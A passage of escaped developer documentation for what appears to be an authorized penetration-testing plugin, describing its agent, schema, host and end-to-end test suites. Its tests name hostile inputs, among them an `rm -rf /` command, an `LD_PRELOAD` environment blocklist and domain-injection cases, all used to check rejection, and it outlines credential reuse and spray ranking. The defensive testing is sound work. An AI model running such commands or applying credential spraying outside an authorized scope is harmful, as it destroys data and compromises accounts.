__init__.py)    # Outer dir must NOT have __init__.py\\n```\\n\\nThe outer `src/argicida/` holds `pyproject.toml`. The inner `argicida/` is the importable Python package. Placing an `__init__.py` in the outer directory creates dual-path module resolution that breaks mypy.\\n\\n## Build System\\n\\nBuilt with Hatchling. The `packages = [\\\"argicida\\\"]` directive tells the wheel builder to include only the inner package directory, excluding `pyproject.toml` and any non-package files from the outer directory.\\n\\nThe `argicida-common` dependency uses a workspace source reference (`{ workspace = true }`), resolved by uv during development. In a built wheel, this becomes a standard PyPI dependency.\",\"other-tests-argicida-agent\":\"# Other \u2014 tests-argicida_agent\\n\\n# `argicida_agent` Test Suite\\n\\nTests for the container-side agent \u2014 the thin process that lives inside the Podman tool pod, receives commands over a Unix socket, and executes scan tools via `create_subprocess_exec`. These tests run without Podman or containers; they exercise the agent's Python modules directly.\\n\\n## What the agent does\\n\\nThe agent has three responsibilities:\\n\\n1. **Bootstrap** (`__main__`) \u2014 parse CLI args, read the HMAC session key from the environment, resolve the allowed tool whitelist, start the server.\\n2. **IPC** (`ipc.server`) \u2014 listen on a Unix socket, authenticate clients via HMAC challenge-response, receive `IpcCommand` messages, dispatch them, return `IpcResponse` messages.\\n3. **Execution** (`executor.runner`) \u2014 run a tool binary as a subprocess, capture stdout/stderr, enforce timeouts, filter environment variables, truncate oversized output.\\n\\n```mermaid\\ngraph LR\\n    A[Host IpcClient] -->|Unix socket| B[AgentServer]\\n    B -->|HMAC handshake| A\\n    B -->|dispatch| C[execute_command]\\n    C -->|create_subprocess_exec| D[Tool binary]\\n    D -->|stdout/stderr| C\\n    C -->|IpcResponse| B\\n```\\n\\n## Test files\\n\\n### `test_runner.py` \u2014 Command execution\\n\\nTests `execute_command()` in isolation (no socket, no auth). Each test constructs an `IpcCommand` and asserts properties of the returned `IpcResponse`.\\n\\n**`TestExecuteCommand`** covers the core contract:\\n\\n| Test | Asserts |\\n|------|---------|\\n| `test_runs_simple_command` | `echo hello world` returns exit 0, stdout contains output, `request_id` round-trips |\\n| `test_captures_stderr` | Failed `ls` on a nonexistent path populates `stderr` |\\n| `test_rejects_unknown_tool` | `rm` not in `allowed_tools` \u2192 error with \\\"not allowed\\\", exit -1 |\\n| `test_timeout_returns_error` | `sleep 60` with `timeout_s=1` \u2192 error with \\\"timeout\\\", exit -1 |\\n| `test_rejects_blocked_env_variable` | `LD_PRELOAD` in `env` \u2192 error with \\\"Blocked\\\" |\\n| `test_passes_allowed_env` | `LANG=en_US.UTF-8` appears in `env` output |\\n| `test_env_merges_with_system_env` | Custom `LANG` coexists with inherited `PATH` |\\n| `test_truncates_large_stdout` | Output exceeding `MAX_IPC_STDOUT_SIZE` is truncated with an error note |\\n\\n**`TestTruncationByteConsistency`** is a focused suite for multi-byte truncation edge cases. All tests patch `MAX_IPC_STDOUT_SIZE` or `MAX_IPC_STDERR_SIZE` to 10 bytes:\\n\\n- Multi-byte characters (`\u20ac` = 3 UTF-8 bytes) are truncated at byte boundaries without exceeding the limit.\\n- Splitting mid-character produces `U+FFFD` replacement, not a crash or invalid UTF-8.\\n- stderr truncation follows the same byte-safe logic as stdout.\\n\\nThese tests exist because the IPC channel has a hard byte budget \u2014 the host side allocates fixed buffers, and a truncated multi-byte sequence would corrupt downstream msgpack decoding.\\n\\n### `test_server.py` \u2014 IPC server\\n\\nTests `AgentServer` end-to-end: starts a real Unix socket server, connects a client, performs the HMAC handshake, sends commands, and reads responses. Uses the actual `ipc_protocol` framing functions (`read_frame`, `write_frame`, `send_message`, `recv_message`).\\n\\nThe `_do_handshake` helper implements the client side of authentication:\\n\\n1. Read `IpcAuthChallenge` frame (server-generated nonce).\\n2. Compute `compute_hmac(session_key, sequence=0, request_id=\\\"\\\", nonce)`.\\n3. Send `IpcAuthResponse` with the digest.\\n4. Read `IpcAuthResult` \u2014 raise `ProtocolError` if rejected.\\n\\n**`TestAgentServerAuth`**:\\n- `test_accepts_valid_handshake` \u2014 correct HMAC completes without error.\\n- `test_rejects_invalid_handshake` \u2014 zeroed-out digest gets `accepted=False`, server closes the connection (verified by reading EOF).\\n\\n**`TestAgentServerCommandExecution`**:\\n- `test_executes_command_and_returns_response` \u2014 `echo hello` through the full socket path returns exit 0 with correct stdout and `request_id`.\\n- `test_rejects_disallowed_tool` \u2014 `rm -rf /` sent over an authenticated connection returns an error, not an execution.\\n- `test_multiple_sequential_commands` \u2014 three commands on one connection with incrementing sequence numbers all succeed, verifying the server handles connection reuse correctly.\\n\\n**`TestAgentServerSocketSecurity`**:\\n- `test_socket_file_permissions` \u2014 socket is `0o777`. This is intentional: the host process and container agent run in different UID namespaces (host UID 1000 maps to container UID 0, agent runs as UID 10000), so the socket must be world-accessible for cross-namespace IPC.\\n- `test_rejects_symlink_socket_path` \u2014 `AgentServer.start()` raises `RuntimeError` if the socket path is a symlink, preventing symlink-following attacks in the shared IPC directory.\\n\\n### `test_main.py` \u2014 Entry point\\n\\nTests for the `__main__` module's bootstrap functions.\\n\\n**`TestParseArgs`**: Verifies `parse_args()` defaults the socket path to `/ipc/agent.sock` and accepts `--socket` overrides.\\n\\n**`TestGetSessionKey`**: Validates `get_session_key()` reads `ARGICIDA_SESSION_KEY` from the environment and enforces:\\n- Presence (missing \u2192 `SystemExit`)\\n- Valid hex encoding (garbage \u2192 `SystemExit`)\\n- Correct length matching `IPC_HMAC_KEY_SIZE` (short key \u2192 `SystemExit`)\\n\\n**`TestGetAllowedTools`**: Confirms `get_allowed_tools()` returns the canonical `TOOL_NAMES` dict from `argicida_common.constants` \u2014 the single source of truth for which binaries the agent will execute.\\n\\n## Shared dependencies\\n\\nAll three test files depend on types from `argicida_common`:\\n\\n- **`ipc_schema`** \u2014 `IpcCommand`, `IpcResponse`, `IpcAuthChallenge`, `IpcAuthResponse`, `IpcAuthResult` (msgspec Structs for the wire protocol)\\n- **`ipc_protocol`** \u2014 `read_frame`, `write_frame`, `send_message`, `recv_message`, `compute_hmac` (framing and authentication primitives)\\n- **`constants`** \u2014 `IPC_HMAC_KEY_SIZE`, `TOOL_NAMES`\\n\\nThe server tests use real protocol functions rather than mocks \u2014 they test the actual wire format and HMAC computation, catching serialization regressions that mocked tests would miss.\\n\\n## Running\\n\\n```bash\\nuv run pytest tests/argicida_agent/              # all agent tests\\nuv run pytest tests/argicida_agent/executor/      # executor only\\nuv run pytest tests/argicida_agent/ipc/           # IPC server only\\nuv run pytest tests/argicida_agent/test_main.py   # entry point only\\n```\\n\\nNo markers, no infrastructure requirements. These are fast unit tests that run in the default `uv run pytest` invocation.\",\"other-tests-argicida-common\":\"# Other \u2014 tests-argicida_common\\n\\n# `argicida_common` Test Suite\\n\\nTests for the shared types package (`src/argicida_common/`) \u2014 the thin dependency layer between the host-side Hermes plugin and the container-side agent. Everything in `argicida_common` is a msgspec Struct or a validation function; the tests enforce schema contracts, serialization round-trips, and security invariants that both sides of the IPC boundary depend on.\\n\\n## What These Tests Protect\\n\\n`argicida_common` is the only package imported by both `argicida` (host) and `argicida_agent` (container). A broken schema here breaks the wire protocol. The tests verify three properties across every struct:\\n\\n1. **Round-trip fidelity** \u2014 encode \u2192 decode preserves all fields, including defaults\\n2. **Reject invalid input** \u2014 `forbid_unknown_fields=True` and `Literal` constraints catch malformed data at decode time, not at use time\\n3. **Immutability** \u2014 `frozen=True` structs raise `AttributeError` on mutation\\n\\n## Test Modules\\n\\n### `test_scope_schema.py`\\n\\nCovers `ScopeDefinition` (the engagement's target boundary) and `validate_scope()` (the semantic validator that runs after deserialization).\\n\\n`ScopeDefinition` fields tested: `target_cidrs`, `target_domains`, `excluded_ips`, `max_intensity`, `dns_server`, `nuclei_severity`, `nuclei_tags`, `nuclei_exclude_tags`. The struct carries the entire scope definition through msgpack over IPC \u2014 it's embedded in `EngagementMeta` and drives both the nftables ruleset generator and the command-layer scope guard.\\n\\n`validate_scope()` returns a tuple of error strings (not exceptions) for:\\n\\n- Invalid CIDR notation (IPv4 and IPv6)\\n- Invalid excluded IPs\\n- Domain injection attempts (semicolons, newlines, empty strings, wildcards)\\n- Invalid DNS server addresses\\n\\nThe empty-scope-is-valid test is intentional \u2014 diagnostic pods launch without a scope and get permissive gateway rules until `scope_define` runs.\\n\\n### `test_ipc_schema.py`\\n\\nCovers the wire-format structs: `IpcCommand`, `IpcResponse`, `IpcAuthChallenge`, `IpcAuthResponse`.\\n\\nKey contract points:\\n\\n- `IpcCommand.timeout_s` has msgspec-level bounds: rejects 0 and values above 3600. The 300s default is the common case; tools like nmap override to 600.\\n- `IpcCommand.env` is validated by `validate_ipc_command_env()`, which maintains a two-tier filter: an explicit blocklist (`LD_PRELOAD`, `LD_LIBRARY_PATH`, etc.) and a positive allowlist (`LANG`, `TZ`, API key variables). Anything not in the allowlist is rejected.\\n- Auth fields (`sequence`, `timestamp`, `hmac_tag`) default to zero-values for backward compatibility but are populated by `send_message()` before transmission.\\n\\n### `test_ipc_protocol.py`\\n\\nCovers the framing layer (`read_frame`/`write_frame`) and the authenticated message layer (`send_message`/`recv_message`/`compute_hmac`/`verify_hmac`).\\n\\n```mermaid\\ngraph LR\\n    A[send_message] --> B[compute_hmac]\\n    A --> C[write_frame]\\n    C --> D[\\\"4-byte big-endian length + payload\\\"]\\n    E[recv_message] --> F[read_frame]\\n    E --> G[verify_hmac]\\n    G -->|fail| H[ProtocolError]\\n```\\n\\n**Framing tests** (`TestWriteFrame`, `TestReadFrame`): The wire format is a 4-byte big-endian length prefix followed by the payload. Tests verify:\\n- Oversized payloads rejected at write time (monkeypatched `MAX_IPC_MESSAGE_SIZE`)\\n- Oversized frames rejected at read time (128 MiB > 64 MiB limit)\\n- Zero-length frames rejected\\n- Incomplete headers (EOF mid-read) raise `ProtocolError`\\n\\n**HMAC tests** (`TestHmac`): HMAC-SHA256 keyed authentication binds the key, sequence number, timestamp, and body together. Tests cover:\\n- Valid tag acceptance\\n- Tampered body rejection\\n- Wrong sequence rejection\\n- Wrong key rejection\\n- Different sequences producing different tags (no sequence-independent MAC)\\n\\n**Message-level tests** (`TestSendRecvMessage`, `TestSendMessageFailClose`): `send_message` populates `sequence`, `timestamp`, and `hmac_tag` on the struct before encoding. `recv_message` verifies the HMAC and sequence match. Tests cover:\\n- `IpcCommand` and `IpcResponse` round-trips through the full send/recv path\\n- Sequence mismatch detection (replay protection)\\n- HMAC mismatch detection (tampering protection)\\n- Messages without `hmac_tag` attribute rejected before sending (fail-closed \u2014 prevents accidentally sending unauthenticated `IpcAuthChallenge` through the authenticated channel)\\n\\nThe test infrastructure uses `_LoopbackPipe` (feeds data into an `asyncio.StreamReader`) for read-side tests and `_BufferTransport` with `_make_writer_pair()` for write-then-read round-trips. `flush_to_reader()` bridges the write buffer to the reader, simulating the transport layer without actual sockets.\\n\\n### `test_asset_schema.py`\\n\\nCovers `Asset`, `AssetHostname`, `AssetPort`, `VhostFingerprint`, and `serialize_fingerprint`.\\n\\n`AssetHostname.source` is a `Literal` type restricting to known tool sources: `dns`, `nmap`, `httpx`, `subfinder`, `naabu`, `nuclei`, `manual`, `scope`. The test for each accepted source matters \u2014 when a new extractor is added, its source string must be added to the Literal and a test written.\\n\\n`serialize_fingerprint()` is tested for determinism \u2014 identical fingerprints must produce identical serialized output so vhost grouping comparisons are stable.\\n\\n`Asset` nests `AssetHostname` and `AssetPort` tuples. The defaults test verifies that an asset created with only `id`, `ip`, and `coverage_state` has empty tuples (not `None`) for collection fields.\\n\\n### `test_finding_schema.py`\\n\\nCovers `Finding`, including the extended fields added for ZAP integration.\\n\\nThree generations of the schema are tested:\\n\\n1. **Core fields**: `tool`, `target`, `severity`, `title`, `description`, `raw_output`, `triage_level`, `timestamp`, plus optional `port`, `protocol`, `cvss`, `cve_ids`, `epss`, `kev`\\n2. **Service field**: Added for per-service finding correlation. Tests verify it defaults to `None` and round-trips through msgpack.\\n3. **Extended fields**: `evidence`, `attack`, `param`, `solution`, `reference`, `wasc_ids` \u2014 added for ZAP alert data. Backward compatibility is explicitly tested: data encoded before the extension decodes with `None`/`()` defaults.\\n\\n`severity` is constrained to a Literal set; `triage_level` maps to the `TriageLevel` enum values. Both are validated at decode time.\\n\\n### `test_credential_schema.py`\\n\\nCovers the credential fragment model: `Principal`, `Secret`, `ValidatedCredential`, and the `Credential` type alias.\\n\\n`Principal` represents a discovered identity (username, email). `Secret` represents a discovered secret (password, hash, token). `ValidatedCredential` is the confirmed combination after successful authentication. Each is `frozen=True` with `forbid_unknown_fields=True`.\\n\\nKey constraints tested:\\n- `Principal.confidence` restricted to Literal values (rejects `\\\"certain\\\"`)\\n- `Secret.secret_type` restricted to Literal values (rejects `\\\"certificate\\\"`)\\n- `Credential` is a type alias for `ValidatedCredential` \u2014 the `TestCredentialAlias` class verifies `Credential is ValidatedCredential` and that instances are interchangeable\\n\\n### `test_engagement_schema.py`\\n\\nCovers `EngagementMeta` \u2014 the top-level struct containing engagement ID, nested `ScopeDefinition`, phase, and timestamps. Tests verify msgpack round-trips including nested scope with IPv6 CIDRs.\\n\\n### `test_constants.py`\\n\\nCovers `TriageLevel`, `EngagementPhase`, and `TOOL_NAMES`.\\n\\n`EngagementPhase` ordering is load-bearing \u2014 the progression `scoping \u2192 discovery \u2192 enumeration \u2192 deep_testing \u2192 human_gate` is enforced by testing `list(EngagementPhase)`. The test also explicitly verifies that retired phase values (`passive_recon`, `active_recon`, `interactive`) are absent.\\n\\n`TOOL_NAMES` is checked for the five core scan tools. This catches accidental removal during tool registry refactors.\\n\\n## Adding Tests for New Schemas\\n\\nWhen adding a new msgspec Struct to `argicida_common`:\\n\\n1. Add a test file `tests/argicida_common/test_.py`\\n2. Test msgpack (or JSON) round-trip with all fields populated\\n3. Test defaults \u2014 construct with only required fields, assert all optional fields\\n4. Test `frozen=True` \u2014 attempt mutation, expect `AttributeError`\\n5. Test `forbid_unknown_fields=True` \u2014 decode with an extra field, expect `ValidationError`\\n6. Test every `Literal`-constrained field with an invalid value\\n7. If the struct crosses the IPC boundary, test backward compatibility: encode without new fields, decode with the new schema, verify defaults apply\",\"other-tests-argicida\":\"# Other \u2014 tests-argicida\\n\\n# `tests/argicida/` \u2014 Host Plugin Test Suite\\n\\nUnit and integration tests for the `argicida` host-side Hermes plugin. These tests run without infrastructure (no Podman, no IPC, no LLM endpoint) and validate the plugin's internal logic: database persistence, CLI commands, slash commands, briefing generation, hooks, scope enforcement, tool handlers, and pod configuration.\\n\\nRun with:\\n\\n```bash\\nuv run pytest tests/argicida/    # all host plugin tests\\nuv run pytest tests/argicida/db/ # just database layer\\nuv run pytest -k \\\"test_dedup\\\"    # by name pattern\\n```\\n\\n## Session-Scoped Bootstrap (`conftest.py`)\\n\\nThe root `conftest.py` performs one-time initialization that mirrors the plugin's `register()` startup sequence. Two session-scoped autouse fixtures populate global registries from discovered tool definitions:\\n\\n- **`_skip_readiness_waits`** \u2014 Patches out `_wait_for_agent_socket` and `_wait_for_gateway` so tests never block on IPC or gateway readiness.\\n- **`_populate_tool_profiles`** \u2014 Calls `discover_tool_defs()` and feeds the results into `register_profiles()`, `register_tool_aliases()`, `register_normalizer_aliases()`, `register_error_hints()`, and `register_auth_indicators()`. This is the same data path the real plugin uses, so scope validation, normalizer alias resolution, and error hint lookup all work correctly in tests.\\n\\nCommon per-test fixtures:\\n\\n| Fixture | Scope | Provides |\\n|---|---|---|\\n| `store` | function | `EngagementStore` backed by a `tmp_path` SQLite file; auto-closed |\\n| `sample_scope` | session | `ScopeDefinition(target_cidrs=(\\\"10.10.10.0/24\\\",))` |\\n| `engagement_id` | function | A created engagement ID (depends on `store` + `sample_scope`) |\\n| `chain` | function | Empty `EvidenceChain` |\\n| `state` | function | Empty `PluginState` |\\n\\nThe `store` fixture yields a real `EngagementStore` with schema migrations applied \u2014 no mocking of the database layer.\\n\\n## Test Organization\\n\\nTests mirror the source layout under `src/argicida/argicida/`:\\n\\n```\\ntests/argicida/\\n\u251c\u2500\u2500 conftest.py              # session bootstrap + shared fixtures\\n\u251c\u2500\u2500 briefing/                # briefing generator + prompt templates\\n\u251c\u2500\u2500 commands/                # CLI dispatch, slash commands, update-data\\n\u251c\u2500\u2500 db/                      # persistence layer (store, repos, migrations)\\n\u251c\u2500\u2500 engagement/              # engagement session lifecycle\\n\u251c\u2500\u2500 hooks/                   # all 10+ hook behaviors\\n\u251c\u2500\u2500 pod/                     # pod config, manager, session, launcher\\n\u251c\u2500\u2500 scope/                   # scope validation, netfilter rules\\n\u251c\u2500\u2500 tools/                   # tool handlers, normalizers, parsers, extractors\\n\u2502   \u2514\u2500\u2500 defs/                # tool definition discovery + structural invariants\\n\u2514\u2500\u2500 test_register.py         # plugin registration wiring\\n```\\n\\n## Key Testing Patterns\\n\\n### Real Database, No ORM Mocks\\n\\nDatabase tests use real APSW connections against in-memory or `tmp_path` SQLite files. The `db/` tests set up their own `conn` and `repo` fixtures that apply `_SCHEMA_STATEMENTS` and `_migrate_schema()` directly, giving each test a clean schema. This catches real SQL bugs \u2014 constraint violations, migration ordering, column type mismatches \u2014 that mock-based tests would miss.\\n\\n```python\\n@pytest.fixture\\ndef conn(tmp_path: Path) -> apsw.Connection:\\n    db = apsw.Connection(str(tmp_path / \\\"test.db\\\"))\\n    for stmt in _SCHEMA_STATEMENTS:\\n        db.execute(stmt)\\n    _migrate_schema(db)\\n    return db\\n```\\n\\n### Factory Functions\\n\\nEach test module defines local factory helpers (prefixed `_make_*` or `make_*`) that construct domain objects with sensible defaults. A shared `tests/factories.py` module provides cross-cutting factories like `make_finding()`. Factory functions accept `**overrides` so tests only specify fields relevant to the assertion:\\n\\n```python\\ncred = _make_credential(service=\\\"mysql\\\", port=3306, username=\\\"root\\\")\\n```\\n\\n### Security Property Verification\\n\\nTests explicitly verify security-sensitive behaviors:\\n\\n- **File permissions** \u2014 `0o600` for data files, `0o700` for directories (`test_file_permissions_are_0o600`, `test_directory_permissions_are_0o700`)\\n- **Symlink rejection** \u2014 `test_rejects_symlink` in encryption and VPN config\\n- **Atomic writes** \u2014 `test_atomic_write_no_partial_on_validation_failure` ensures a failed download doesn't corrupt existing data\\n- **Key length validation** \u2014 `test_rejects_wrong_length` for encryption keys\\n- **Encryption isolation** \u2014 `test_encrypted_db_unreadable_without_key` opens the raw file with APSW and expects `NotADBError`\\n\\n### Async Test Support\\n\\nAsync handlers (briefing generator, slash commands) use `async def test_*` methods. The project's pytest configuration handles the async test runner. Mocked LLM calls use `AsyncMock`:\\n\\n```python\\nmock_llm.acomplete = AsyncMock(return_value=mock_result)\\nresult = await generate_briefing(mock_llm, store, eid)\\n```\\n\\n## Module-by-Module Summary\\n\\n### `briefing/`\\n\\n**`test_generator.py`** \u2014 Tests `generate_briefing()` end-to-end with a mocked LLM. Validates: LLM summary appears in output, placeholder replacement works, findings are included, prompt stays small (<500 chars), graceful fallback when LLM fails, error message for missing engagements.\\n\\n**`test_prompts.py`** \u2014 Tests the template layer without LLM involvement. Covers `SEVERITY_RANK` ordering, `SUMMARY_SYSTEM_MESSAGE` constraints (forbids fabrication, stays concise), `format_finding()` output formatting (CVEs, CWEs, protocol, CVSS, EPSS, KEV flag, evidence truncation), `render_briefing()` section structure (metadata, scope, finding counts, risk ranking sorted by severity with KEV priority, noise grouping by title with counts, tool coverage, asset discovery, next steps), and `build_summary_prompt()` size and content constraints.\\n\\n### `commands/`\\n\\n**`test_cli.py`** \u2014 Tests `dispatch_argicida_cli()` for each subcommand: `engagement list/resume/create`, `evidence verify`, `scope`, `findings` (with level filter), `pod start/stop/status`, `build-image` (tool/gateway/all/no-flags), `update-data`, and unknown command handling. Verifies that CLI commands use `EngagementSession.bind()` for proper lifecycle management.\\n\\n**`test_formatting.py`** \u2014 Tests `format_engagement_summary()` output: includes ID, phase, CIDRs; conditionally includes domains and exclusions; shows \\\"none\\\" for empty CIDRs.\\n\\n**`test_slash.py`** \u2014 Tests all six slash command factory functions. `/scope` shows scope or \\\"no active\\\" message. `/triage` shows finding counts. `/approve-gate` returns a message. `/briefing` is async, checks for engagement and LLM availability, delegates to `generate_briefing`. `/trace` validates usage, dispatches via `dispatch_tool`, manages pod lifecycle. `/engage` handles list/resume/status/rename subcommands with proper `EngagementSession` binding.\\n\\n**`test_update_data.py`** \u2014 Tests `download_epss_kev()`: downloads and writes both files, creates directories, enforces file/directory permissions, validates EPSS CSV headers, validates KEV JSON structure, ensures atomic writes preserve existing data on failure.\\n\\n### `db/`\\n\\n**`test_store.py`** \u2014 Core CRUD for `EngagementStore`: create/get/update/list engagements, scope validation (rejects invalid CIDRs), VPN config (direct/wireguard/openvpn with directory and symlink validation), findings with dedup (promotes triage level, never demotes), and evidence chain entries.\\n\\n**`test_asset_repo.py`** \u2014 `AssetRepo` persistence: upsert with UUID generation and dedup, IPv6 support, hostname management with coverage state reset, port upsert with service/banner updates, vhost fingerprinting and group computation (idempotent group UUIDs), coverage state machine (forward-only transitions), target resolution (IP and hostname lookup), and finding linkage.\\n\\n**`test_asset_tech.py`** \u2014 Tech fingerprint and login URL extensions on `AssetHostname`: schema defaults, storage/retrieval, overwrite behavior.\\n\\n**`test_candidate_engine.py`** \u2014 Credential candidate ranking across all six tiers: Tier 1 (same_row \u2014 associated principal+secret), Tier 2 (same_target), Tier 3 (same_service), Tier 5 (cross_service_reuse \u2014 validated credentials from other services), Tier 6 (spray \u2014 excluded by default, opt-in). Verifies ranking order (confirmed before inferred), limit enforcement, and exclusion of already-validated pairs.\\n\\n**`test_credentials.py`** \u2014 CRUD for the three credential types: `ValidatedCredential` (store, dedup, filter by target/service, bool handling, null port), `Principal` (store, dedup, target/service filters, null target), `Secret` (store, dedup, hash_type, associated_principal, target filter).\\n\\n**`test_credential_helpers.py`** \u2014 Internal helpers: `_fingerprint()` determinism and field sensitivity, `_build_where()` clause construction with optional target/service filters.\\n\\n**`test_encryption.py`** \u2014 `load_or_generate_db_key()`: key generation, idempotency, directory creation, file permissions, symlink rejection, wrong-length rejection, partial-write safety, retry-after-failure. `EngagementStore` with encryption: table creation, unreadable without key, readable with correct key, unencrypted fallback.\\n\\n**`test_finding_repo.py`** \u2014 `FindingRepo.add_finding()` transaction atomicity.\\n\\n**`test_helpers.py`** \u2014 `store_finding()` helper: stores in DB, appends to evidence chain when provided, skips chain when `None`.\\n\\n**`test_migrations.py`** \u2014 Verifies `last_bound_at` column exists after migration.\\n\\n## Relationship to Other Test Tiers\\n\\n```mermaid\\ngraph TD\\n    A[\\\"tests/argicida/Unit + Integration~2800 tests\\\"] -->|no infra| B[Mocked IPC/Podman/LLM]\\n    C[\\\"tests/pod_integration/~139 tests\\\"] -->|real pods| D[Podman + IPC + direct dispatch]\\n    E[\\\"tests/e2e/~10 tests\\\"] -->|real everything| F[HermesCLI + LLM + ZAP]\\n\\n    A -.-|\\\"shares\\\"| G[tests/factories.py]\\n    C -.-|\\\"shares\\\"| G\\n```\\n\\nThe `tests/argicida/` suite is the fast feedback loop \u2014 it runs in seconds with no external dependencies. Pod integration tests (`-m pod_integration`) exercise real Podman pods and IPC but skip the agent loop. E2E tests (`-m e2e`) run through the full HermesCLI with a live LLM. All three tiers share factory functions from `tests/factories.py`.\\n\\n## Adding Tests\\n\\n1. **New tool handler** \u2014 Add tests under `tests/argicida/tools/`. The session-scoped `_populate_tool_profiles` fixture auto-discovers tool defs, so new tools get scope profiles registered automatically.\\n2. **New database table/column** \u2014 Add a migration test in `test_migrations.py` and repo tests in a new or existing `test_*_repo.py`. Use the `conn`/`repo`/`eid` fixture pattern.\\n3. **New slash command** \u2014 Add tests in `test_slash.py` using the factory-function pattern (`make_*_handler`). Test both the happy path and the no-engagement/no-LLM error paths.\\n4. **New hook** \u2014 Add tests under `tests/argicida/hooks/`. Call `pm.invoke_hook()` explicitly \u2014 hooks do not fire during `registry.dispatch()`.\",\"other-tests-e2e\":\"# Other \u2014 tests-e2e\\n\\n# E2E Test Suite (`tests/e2e/`)\\n\\nEnd-to-end tests that exercise Argicida through the real Hermes CLI execution path \u2014 real LLM, real Podman pods, real IPC, real tool dispatch. Nothing is mocked. These tests exist because unit and integration tests, no matter how thorough, cannot catch wiring failures between the CLI bootstrap, plugin discovery, agent loop, delegation, and pod lifecycle.\\n\\n## Prerequisites\\n\\n| Requirement | How to satisfy |\\n|---|---|\\n| Rootless Podman | Installed and running (`podman version`) |\\n| `argicida-tools:dev` | `podman build -f containers/Containerfile -t argicida-tools:dev .` |\\n| `argicida-gateway:dev` | `podman build -f containers/Containerfile.gateway -t argicida-gateway:dev .` |\\n| `argicida-zap:dev` | `podman build --network=private -f containers/Containerfile.zap -t argicida-zap:dev .` |\\n| `nginx:alpine` | `podman pull docker.io/library/nginx:alpine` |\\n| LLM endpoint | Configured in `profile/config.yaml` |\\n\\nRun with:\\n\\n```bash\\nuv run pytest -m e2e -v\\n```\\n\\nE2E tests are excluded from the default `pytest` run. The `e2e` marker and a 600-second timeout are applied to every test via `pytestmark`.\\n\\n## Architecture\\n\\nThe harness drives HermesCLI **in-process** \u2014 it calls the same `cli.chat()` and `cli._drain_process_notifications()` methods the interactive CLI uses. This is deliberate: a custom dispatch harness would test a different system than the one operators actually run.\\n\\n```mermaid\\ngraph LR\\n    Test[\\\"test_e2e_smoke\\\"] --> Harness[\\\"E2ESystemHarness\\\"]\\n    Harness --> CLI[\\\"HermesCLI.chat()\\\"]\\n    CLI --> Agent[\\\"Agent Loop\\\"]\\n    Agent --> Plugin[\\\"Argicida Plugin\\\"]\\n    Plugin --> Pod[\\\"Podman Pod + Gateway\\\"]\\n    Pod --> Tool[\\\"Tool Execution\\\"]\\n    Test --> Assert[\\\"SessionAssertions\\\"]\\n    Assert --> DB[\\\"Session DB\\\"]\\n    Test --> FI[\\\"FaultInjector\\\"]\\n    FI --> Pod\\n```\\n\\n## Components\\n\\n### `E2ESystemHarness` (`harness.py`)\\n\\nThe central test driver. `setup()` mirrors what `cli.main()` does before creating the interactive CLI:\\n\\n1. **Creates an ephemeral HERMES_HOME** under `tests/e2e/.runs//` \u2014 symlinks `config.yaml` and `SOUL.md` from the profile, copies skills, creates output/session/engagement directories.\\n2. **Sets environment** \u2014 `HERMES_HOME` and `ARGICIDA_NETWORK` point at the ephemeral home and the E2E-specific Podman network.\\n3. **Reloads CLI config** and **discovers plugins** via `hermes_cli.plugins.discover_plugins(force=True)`, which triggers Argicida's `register()`.\\n4. **Creates `HermesCLI`** in quiet mode with no agent attached (the agent is created lazily on first `chat()`).\\n\\n#### `run_session(prompt)`\\n\\nSends a prompt through `cli.chat()`, then enters a delegation drain loop. The loop mirrors the CLI's `process_loop`:\\n\\n- While delegated tasks are active (`active_count() > 0`), it drains process notifications and feeds completions back as follow-up `chat()` turns via the `_pending_input` queue.\\n- When no active delegations remain, it waits two idle cycles (0.5s each) to catch late completions before returning.\\n- Hard deadline: 480 seconds.\\n\\nNo `time.sleep()` polling \u2014 the loop uses `queue.Queue.get(timeout=...)` condition-variable waits, identical to the production CLI.\\n\\n#### `finalize_session()`\\n\\nMirrors the CLI's session boundary: fires `on_session_finalize` (which triggers pod teardown, evidence signing, engagement unbind), sweeps orphan pods, ends the session in the DB, and creates a new session ID. Used to test lifecycle transitions within a single test.\\n\\n#### `_sweep_pods()`\\n\\nSafety net that removes all `argicida-*` pods after each session. Before removing, it execs into each tool container as root to clear and re-own the IPC directory \u2014 necessary because the `U`/`chown` bind mount shifts ownership to the container's UID namespace, preventing host-side cleanup. Delegates to `PodManager.cleanup_topology_by_name()` for full topology removal (pod + gateway + internal network).\\n\\n#### `teardown()`\\n\\nFull cleanup sequence: interrupts active delegations, closes the agent, fires `on_session_finalize`, deregisters all `argicida_*` tools, restores the plugin manager, closes database connections, restores the original working directory and environment variables, and sweeps pods. Every operation is wrapped in `contextlib.suppress(Exception)` \u2014 teardown must not raise.\\n\\n### `SessionAssertions` (`assertions.py`)\\n\\nBehavioral assertions that query the Hermes session database after a run completes. All queries span the parent session **and** its delegation child sessions, excluding compression children (identified by `end_reason = 'compression'`).\\n\\n**`get_tool_calls()`** \u2014 The core query. Scans the `messages` table for assistant messages with `tool_calls` (the request) and `role='tool'` messages (the result), then joins them by `tool_call_id`. Returns an ordered list of dicts with `tool_name`, `args`, `result`, `session_id`, and `timestamp`.\\n\\n**`get_tool_result(tool_name)`** \u2014 Parses the JSON result of the last call to a given tool. When the in-DB result is truncated by Hermes (detected by `[truncated]` or `[Truncated:` suffixes), falls back to reading the raw `stdout` file from the output store at `$HERMES_HOME/argicida/output///`. This fallback is essential \u2014 Hermes truncates large tool results to fit the LLM context window, but the raw output is always preserved on disk.\\n\\n**Assertion methods:**\\n\\n| Method | Checks |\\n|---|---|\\n| `assert_tool_was_called(name)` | At least one call exists |\\n| `assert_tool_not_called(name)` | Zero calls exist |\\n| `assert_any_argicida_tool_called()` | At least one `argicida_*` call |\\n| `assert_engagement_created()` | `argicida_engagement_create` was called |\\n| `assert_tool_succeeded(name)` | Called, result parses, no `\\\"error\\\"` key |\\n| `assert_findings_stored(min)` | Finding count in engagement DB |\\n| `assert_raw_output_exists(name)` | stdout file exists on disk |\\n\\n### `FaultInjector` (`fault_injector.py`)\\n\\nInjects faults into recoverable surfaces for resilience testing. Each fault method registers its cleanup inverse in a LIFO queue, unwound on `__exit__` or explicit `cleanup()`. Context manager protocol supported.\\n\\n| Fault | What it does | What it tests |\\n|---|---|---|\\n| `kill_pod()` | Removes entire topology via `cleanup_topology_by_name` | Pod re-creation on next tool call |\\n| `kill_gateway()` | Stops/removes only the gateway container | Fail-closed network isolation |\\n| `delete_socket()` | Removes `/ipc/agent.sock` from inside the container | IPC reconnection |\\n| `clear_pod_session()` | Sets `state.pod_session = None` without teardown | Stale state detection |\\n| `clear_engagement_session()` | Sets `state.engagement_session = None` without unbind | Engagement state recovery |\\n| 